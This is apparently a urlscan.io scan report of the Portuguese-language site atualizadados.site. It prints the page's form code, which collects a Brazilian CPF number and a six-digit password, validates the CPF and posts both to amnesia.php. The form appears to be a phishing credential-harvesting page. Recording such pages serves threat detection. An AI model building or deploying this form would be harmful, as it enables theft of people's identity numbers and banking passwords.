atualizadados.site Open in urlscan Pro
2a02:4780:b:1452:0:900:c7d3:2  Public Scan

Submitted URL: http://atualizadados.site/
Effective URL: https://atualizadados.site/
Submission: On March 26 via api from BR — Scanned from DE

Form analysis 1 forms found in the DOM

POST amnesia.php

<form action="amnesia.php" method="post" id="loginForm">
  <script>
    document.getElementById("loginForm").addEventListener("submit", function(event) {
      event.preventDefault(); // Impede o envio padrão do formulário
      var CPF = document.getElementById("CPF");
      var cpf = CPF.value.replace(/\D/g, ''); // Remove caracteres não numéricos
      var cpfAlert = document.getElementById("cpfAlert");
      if (!validarCPF(cpf)) {
        cpfAlert.style.display = "block"; // Exibe o alerta de CPF inválido
        CPF.focus();
      } else {
        cpfAlert.style.display = "none"; // Esconde o alerta de CPF inválido
        this.submit(); // Envie o formulário se o CPF for válido
      }
    });

    function validarCPF(cpf) {
      var Soma;
      var Resto;
      Soma = 0;
      if (cpf == "00000000000") return false;
      if (cpf == "11111111111") return false;
      if (cpf == "22222222222") return false;
      if (cpf == "33333333333") return false;
      if (cpf == "44444444444") return false;
      if (cpf == "55555555555") return false;
      if (cpf == "66666666666") return false;
      if (cpf == "77777777777") return false;
      if (cpf == "88888888888") return false;
      if (cpf == "99999999999") return false;
      for (i = 1; i <= 9; i++) Soma = Soma + parseInt(cpf.substring(i - 1, i)) * (11 - i);
      Resto = (Soma * 10) % 11;
      if ((Resto == 10) || (Resto == 11)) Resto = 0;
      if (Resto != parseInt(cpf.substring(9, 10))) return false;
      Soma = 0;
      for (i = 1; i <= 10; i++) Soma = Soma + parseInt(cpf.substring(i - 1, i)) * (12 - i);
      Resto = (Soma * 10) % 11;
      if ((Resto == 10) || (Resto == 11)) Resto = 0;
      if (Resto != parseInt(cpf.substring(10, 11))) return false;
      return true;
    }
  </script>
  <!-- Adicione a div do alerta aqui -->
  <div id="cpfAlert" class="alert alert-danger mt-2" role="alert" style="display: none; background-color: #f8d7da; color: #721c24; border-color: #f5c6cb; border-radius: 4px; padding: 10px;">
    <strong>Erro:</strong> CPF inválido.
  </div>
  <span class="float-label">
    <input id="CPF" name="CPF" type="text" placeholder="DIGITE SEU CPF" inputmode="numeric" autofocus="" autocomplete="off" required="">
  </span>
  <script>
    document.addEventListener("DOMContentLoaded", function() {
      const CPF = document.getElementById("CPF");
      CPF.addEventListener("input", function() {
        let inputValue = this.value.replace(/\D/g, ''); // Remove caracteres não numéricos
        if (inputValue.length > 11) {
          inputValue = inputValue.slice(0, 11); // Limita a 11 dígitos
        }
        // Formate o CPF no formato XXX.XXX.XXX-XX
        if (inputValue.length === 11) {
          inputValue = inputValue.replace(/(\d{3})(\d{3})(\d{3})(\d{2})/, "$1.$2.$3-$4");
        }
        this.value = inputValue;
      });
    });
  </script>
  <input type="password" class="password-input" id="SENHA" name="SENHA" placeholder="DIGITE SUA SENHA" maxlength="6" required="" oninput="validarSenha(this)">
  <script>
    function validarSenha(input) {
      // Remove qualquer caractere que não seja um número
      input.value = input.value.replace(/\D/g, '');
      // Verifica se a senha tem exatamente 6 dígitos numéricos
      if (input.value.length !== 6) {
        input.setCustomValidity('A senha deve conter exatamente 6 dígitos numéricos');
      } else {
        input.setCustomValidity('');
      }
    }
  </script>
  <span class="error-message" id="senhaError"></span>
  <button type="submit">CONTRATAR</button>
</form>

Text Content

Erro: CPF inválido.
CONTRATAR
Não mostrar novamente
Preciso de ajuda
v1.78.1